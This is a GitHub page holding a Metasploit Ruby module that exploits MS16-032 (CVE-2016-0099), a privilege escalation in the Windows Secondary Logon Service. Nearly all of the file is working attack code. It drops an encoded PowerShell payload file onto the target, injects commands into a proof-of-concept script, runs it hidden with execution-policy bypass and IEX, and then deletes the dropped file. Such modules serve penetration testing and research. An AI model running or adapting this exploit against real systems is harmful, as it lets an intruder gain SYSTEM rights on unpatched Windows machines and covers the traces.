-
Notifications
You must be signed in to change notification settings - Fork 16
/
Copy pathms16_032_secondary_logon_handle_privesc.rb
172 lines (152 loc) · 5.76 KB
/
ms16_032_secondary_logon_handle_privesc.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/payload_generator'
require 'msf/core/exploit/powershell'
require 'rex'
class MetasploitModule < Msf::Exploit::Local
Rank = NormalRanking
include Msf::Exploit::Powershell
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
include Msf::Post::File
include Msf::Post::Windows::ReflectiveDLLInjection
def initialize(info = {})
super(update_info(info,
'Name' => 'MS16-032 Secondary Logon Handle Privilege Escalation',
'Description' => %q{
This module exploits the lack of sanitization of standard handles in Windows' Secondary Logon Service. The vulnerability is known to affect versions of Windows 7-10 and 2k8-2k12 32 and 64 bit. This module will only work against those versions of Windows with Powershell 2.0 or later and systems with two or more CPU cores. Works about 75% of the time, if module fails, just re-run.
},
'License' => BSD_LICENSE,
'Author' =>
[
'James Forshaw', #twitter.com/tiraniddo
'b33f',#@FuzzySec, http://www.fuzzysecurity.com'
'khr0x40sh'
],
'References' =>
[
[ 'MS', 'MS16-032'],
[ 'CVE', '2016-0099'],
[ 'URL', 'https://twitter.com/FuzzySec/status/723254004042612736' ],
[ 'URL', 'https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'DisclosureDate' => 'Mar 21 2016',
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'Targets' =>
[
# Tested on (32 bits):
# * Windows 7 SP1
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
# Tested on (64 bits):
# * Windows 7 SP1
# * Windows 8
# * Windows 2012
[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
],
'DefaultTarget' => 0
))
register_options([
])
register_advanced_options(
[
OptString.new('W_PATH', [false, 'Where to write temporary powershell file', nil]),
OptBool.new( 'DRY_RUN', [false, 'Only show what would be done', false ]),
OptInt.new('TIMEOUT', [false, 'Execution timeout', 60]) #How long until we DELETE file, we have a race condition here, so anything less than 60 seconds might break
], self.class)
end
def check
os = sysinfo["OS"]
if os !~ /windows/i
# Non-Windows systems are definitely not affected.
return Exploit::CheckCode::Safe
end
if sysinfo["Architecture"] =~ /(wow|x)64/i
arch = ARCH_X86_64
elsif sysinfo["Architecture"] =~ /x86/i
arch = ARCH_X86
end
return arch
end
def exploit
if is_system?
fail_with(Failure::None, 'Session is already elevated')
end
arch1 = check
if arch1 == nil
print_error("Architecture could not be determined.")
return
end
# Exploit PoC from 'b33f'
#Below is where the file is on the dev msf
#ps_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2016-0099', 'cve-2016-0099.ps1')
#in the same directory for the standalone
ps_path='cve-2016-0099.ps1'
vprint_status("PS1 loaded from #{ps_path}")
ms16_032 = File.read(ps_path)
cmdstr=expand_path('%windir%') << '\\System32\\windowspowershell\\v1.0\\powershell.exe'
if datastore['TARGET'] == 0 && arch1 == ARCH_X86_64
cmdstr.gsub!("System32","SYSWOW64")
print_warning("Executing 32-bit payload on 64-bit ARCH, using SYSWOW64 powershell")
vprint_warning("#{cmdstr}")
end
#payload formatted to fit dropped text file
payl = cmd_psh_payload(payload.encoded,payload.arch,{:encode_final_payload => false, :remove_comspec => true, :method => 'old'})
payl.sub!(/.*?(?=New-Object IO)/im, "")
payl = payl.split("';$s.")[0]
payl.gsub!("''","'")
payl = "$s=#{payl}while($true){Start-Sleep 1000};"
@upfile=Rex::Text.rand_text_alpha((rand(8)+6))+".txt"
path = datastore['W_PATH'] || pwd
@upfile = "#{path}\\#{@upfile}"
fd = session.fs.file.new(@upfile,"wb")
print_status("Writing payload file, #{@upfile}...")
fd.write(payl)
fd.close
psh_cmd = "IEX `$(gc #{@upfile})"
#lpAppName
ms16_032.gsub!("$cmd","\"#{cmdstr}\"")
#lpcommandLine - capped at 1024b
ms16_032.gsub!("$args1","\" -exec Bypass -nonI -window Hidden #{psh_cmd}\"")
print_status('Compressing script contents...')
ms16_032_c = compress_script(ms16_032)
if ms16_032_c.size > 8100
print_error("Compressed size: #{ms16_032_c.size}")
error_msg = "Compressed size may cause command to exceed "
error_msg += "cmd.exe's 8kB character limit."
print_error(error_msg)
else
print_good("Compressed size: #{ms16_032_c.size}")
end
if datastore['DRY_RUN']
print_good("cmd.exe /C powershell -exec Bypass -nonI -window Hidden #{ms16_032_c}")
return
end
print_status("Executing exploit script...")
cmd="cmd.exe /C powershell -exec Bypass -nonI -window Hidden #{ms16_032_c}"
args=nil
begin
process = session.sys.process.execute(cmd, args, {'Hidden' => true, 'Channelized' => false})
rescue
print_error("An error occurred executing the script.")
end
end
def cleanup
sleep_t = datastore['TIMEOUT']
vprint_warning("Sleeping #{sleep_t} seconds before deleting #{@upfile}...")
sleep sleep_t
begin
rm_f(@upfile)
print_good("Cleaned up #{@upfile}")
rescue
print_error("There was an issue with cleanup of the powershell payload script.")
end
end
end